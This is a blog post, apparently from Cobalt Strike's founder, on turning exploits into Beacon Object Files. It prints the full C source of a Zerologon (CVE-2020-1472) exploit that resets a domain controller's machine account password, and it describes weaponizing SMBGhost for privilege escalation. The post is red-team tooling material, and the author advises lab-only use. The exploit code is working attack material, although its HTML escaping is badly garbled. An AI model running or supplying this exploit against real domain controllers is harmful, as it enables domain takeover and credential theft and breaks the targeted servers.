Cobalt Strike can use PowerShell, .NET, and Reflective DLLs for its post-exploitation features. This is the weaponization problem set. How to take things, developed outside the tool, and create a path to use them in the tool. One of the newest weaponization options in Cobalt Strike are Beacon Object Files.

A Beacon Object File is a tiny C program that is compiled as an object and parsed, linked, and executed by Cobalt Strike’s Beacon payload. The value of Beacon Object Files is that they’re small, they have less execution baggage than the other methods (e.g., no fork and run), and they’re not that bad to develop either.

In this post, I’d like to share with you a few examples of how to extend Cobalt Strike with Beacon Object Files.

CVE-2020-1472 (aka Zerologon)

Let’s start with CVE-2020-1472, aka the Zerologon exploit. This is an opportunity to remotely attack and gain privileged credential material from an unpatched Windows Domain Controller.

This is a risky attack to carry out. It resets the machine account password for the target domain controller. This will break the domain controller’s functionality. I would limit use of this capability to demonstrations in a snapshotted lab or red vs. blue wargames in a snapshotted lab. I would not use this in production.

Secura, the company that discovered the bug, documents the details of the attack and weaponization chains in their whitepaper. Rich Warren from NCC Group’s Full Spectrum Attack Simulation team published a .NET program that executes this attack too.

While .NET is one path to an exploit, this same capability is a natural fit for a C program too. Here’s the Beacon Object File to exploit CVE-2020-1472 and an Aggressor Script to integrate it into Cobalt Strike:

&lt;br /&gt;<br />
/*&lt;br /&gt;<br />
* Port of SharpZeroLogon to a Beacon Object File&lt;br /&gt;<br />
* https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon&lt;br /&gt;<br />
*/&lt;/p&gt;<br />
&lt;p&gt;#include &amp;amp;amp;amp;amp;amp;lt;windows.h&amp;amp;amp;amp;amp;amp;gt;&lt;br /&gt;<br />
#include &amp;amp;amp;amp;amp;amp;lt;stdio.h&amp;amp;amp;amp;amp;amp;gt;&lt;br /&gt;<br />
#include &amp;amp;amp;amp;amp;amp;lt;dsgetdc.h&amp;amp;amp;amp;amp;amp;gt;&lt;br /&gt;<br />
#include &amp;quot;beacon.h&amp;quot;&lt;/p&gt;<br />
&lt;p&gt;typedef struct _NETLOGON_CREDENTIAL {&lt;br /&gt;<br />
CHAR data[8];&lt;br /&gt;<br />
} NETLOGON_CREDENTIAL, *PNETLOGON_CREDENTIAL;&lt;/p&gt;<br />
&lt;p&gt;typedef struct _NETLOGON_AUTHENTICATOR {&lt;br /&gt;<br />
NETLOGON_CREDENTIAL Credential;&lt;br /&gt;<br />
DWORD Timestamp;&lt;br /&gt;<br />
} NETLOGON_AUTHENTICATOR, *PNETLOGON_AUTHENTICATOR;&lt;/p&gt;<br />
&lt;p&gt;typedef  enum _NETLOGON_SECURE_CHANNEL_TYPE{&lt;br /&gt;<br />
NullSecureChannel = 0,&lt;br /&gt;<br />
MsvApSecureChannel = 1,&lt;br /&gt;<br />
WorkstationSecureChannel = 2,&lt;br /&gt;<br />
TrustedDnsDomainSecureChannel = 3,&lt;br /&gt;<br />
TrustedDomainSecureChannel = 4,&lt;br /&gt;<br />
UasServerSecureChannel = 5,&lt;br /&gt;<br />
ServerSecureChannel = 6,&lt;br /&gt;<br />
CdcServerSecureChannel = 7&lt;br /&gt;<br />
} NETLOGON_SECURE_CHANNEL_TYPE;&lt;/p&gt;<br />
&lt;p&gt;typedef struct _NL_TRUST_PASSWORD {&lt;br /&gt;<br />
WCHAR Buffer[256];&lt;br /&gt;<br />
ULONG Length;&lt;br /&gt;<br />
} NL_TRUST_PASSWORD, *PNL_TRUST_PASSWORD;&lt;/p&gt;<br />
&lt;p&gt;DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerReqChallenge(LPWSTR PrimaryName, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientChallenge, PNETLOGON_CREDENTIAL ServerChallenge);&lt;br /&gt;<br />
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerAuthenticate2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientCredential, PNETLOGON_CREDENTIAL ServerCredential, PULONG NegotiatedFlags);&lt;br /&gt;<br />
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerPasswordSet2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_AUTHENTICATOR Authenticator, PNETLOGON_AUTHENTICATOR ReturnAuthenticator, PNL_TRUST_PASSWORD ClearNewPassword);&lt;/p&gt;<br />
&lt;p&gt;void go(char * args, int alen) {&lt;br /&gt;<br />
DWORD                  i;&lt;br /&gt;<br />
NETLOGON_CREDENTIAL    ClientCh       = {0};&lt;br /&gt;<br />
NETLOGON_CREDENTIAL    ServerCh       = {0};&lt;br /&gt;<br />
NETLOGON_AUTHENTICATOR Auth           = {0};&lt;br /&gt;<br />
NETLOGON_AUTHENTICATOR AuthRet        = {0};&lt;br /&gt;<br />
NL_TRUST_PASSWORD      NewPass        = {0};&lt;br /&gt;<br />
ULONG                  NegotiateFlags = 0x212fffff;&lt;/p&gt;<br />
&lt;p&gt;datap                  parser;&lt;br /&gt;<br />
wchar_t *              dc_fqdn;     /* DC.corp.acme.com */&lt;br /&gt;<br />
wchar_t *              dc_netbios;  /* DC */&lt;br /&gt;<br />
wchar_t *              dc_account;  /* DC$ */&lt;/p&gt;<br />
&lt;p&gt;/* extract our arguments */&lt;br /&gt;<br />
BeaconDataParse(&amp;amp;amp;amp;amp;amp;amp;parser, args, alen);&lt;br /&gt;<br />
dc_fqdn    = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;amp;amp;parser, NULL);&lt;br /&gt;<br />
dc_netbios = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;amp;amp;parser, NULL);&lt;br /&gt;<br />
dc_account = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;amp;amp;parser, NULL);&lt;/p&gt;<br />
&lt;p&gt;for (i = 0; i &amp;amp;amp;amp;amp;amp;lt; 2000; i++) {&lt;br /&gt;<br />
NETAPI32$I_NetServerReqChallenge(dc_fqdn, dc_netbios, &amp;amp;amp;amp;amp;amp;amp;ClientCh, &amp;amp;amp;amp;amp;amp;amp;ServerCh);&lt;br /&gt;<br />
if ((NETAPI32$I_NetServerAuthenticate2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &amp;amp;amp;amp;amp;amp;amp;ClientCh, &amp;amp;amp;amp;amp;amp;amp;ServerCh, &amp;amp;amp;amp;amp;amp;amp;NegotiateFlags) == 0)) {&lt;br /&gt;<br />
if (NETAPI32$I_NetServerPasswordSet2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &amp;amp;amp;amp;amp;amp;amp;Auth, &amp;amp;amp;amp;amp;amp;amp;AuthRet, &amp;amp;amp;amp;amp;amp;amp;NewPass) == 0) {&lt;br /&gt;<br />
BeaconPrintf(CALLBACK_OUTPUT, &amp;quot;Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync&amp;quot;, dc_account);&lt;br /&gt;<br />
}&lt;br /&gt;<br />
else {&lt;br /&gt;<br />
BeaconPrintf(CALLBACK_ERROR, &amp;quot;Failed to set machine account pass for %S&amp;quot;, dc_account);&lt;br /&gt;<br />
}&lt;/p&gt;<br />
&lt;p&gt;return;&lt;br /&gt;<br />
}&lt;br /&gt;<br />
}&lt;/p&gt;<br />
&lt;p&gt;BeaconPrintf(CALLBACK_ERROR, &amp;quot;%S is not vulnerable&amp;quot;, dc_fqdn);&lt;br /&gt;<br />
}&lt;br /&gt;<br />

I’ve recorded a demonstration of this attack chain as well:

The above is a good example of a Beacon Object File that implements an of-interest attack. I’ll add that Benjamin Delpy has also added ZeroLogon to mimikatz. I like that he’s extended the options for dcsync to authenticate to a domain controller with the blank credential. This is a cleaner overall attack chain as we run mimikatz once and get the desired outcome. The same “you’ll wreck this DC” caveats apply. That said, the mimikatz implementation is what I’d use going forward.

CVE-2020-0796 (aka SMBGhost)

Another cool exploit is CVE-2020-0796, aka the SMBGhost exploit. This is an escalation of privilege opportunity against an unpatched Windows 10 system.

Core Impact has an implementation of this attack. So does the Metasploit Framework. The Metasploit Framework implementation, based on the POC from Garcia Gutierrez and Blanco Parajon, is compiled as a Reflective DLL. Cobalt Strike is able to use this implementation as-is and I demonstrate this in the Elevate Kit. The privilege escalation lecture of our Red Team Operations with Cobalt Strike course covers this pattern.

What about weaponizing CVE-2020-0796 as a Beacon Object File? This is also pretty easy to do. I found that this exploit was a very straight-forward move from Metasploit’s Reflective DLL implementation to BOF. I posted the BOF code for SMBGhost to Github with an Aggressor Script too. The README.txt documents some of the steps I took as well.

The second path, implemented as an smbghost alias, exploits the vulnerability, yields the slightly enhanced privileges, and lets you choose what to do with it. This second path is very much Bring Your Own Weaponization, I want to re-emphasize the some privileges limitation. The token manipulation, made possible by this exploit, allows us to get away with opening/interacting with processes in the same session–where we couldn’t before. The second step of injecting into a privileged process (or spawning a process under a privileged process) is required to cleanly take on a fully privileged context to work from.

Closing Thoughts…

I hope you’ve enjoyed this tour of Beacon Object Files. If you have working C code for a post-exploitation concept, Beacon Object Files are a path to turn that C code into something that can work from Cobalt Strike. If you want to see another perspective on this process, watch the Cobalt Strike BOF Making episode of the HackThePlanet twitch stream. I also wanted to highlight that there’s some great Beacon Object File capability available in the open source space too. Enjoy!

Raphael Mudge

Founder
View Profile
TOPICS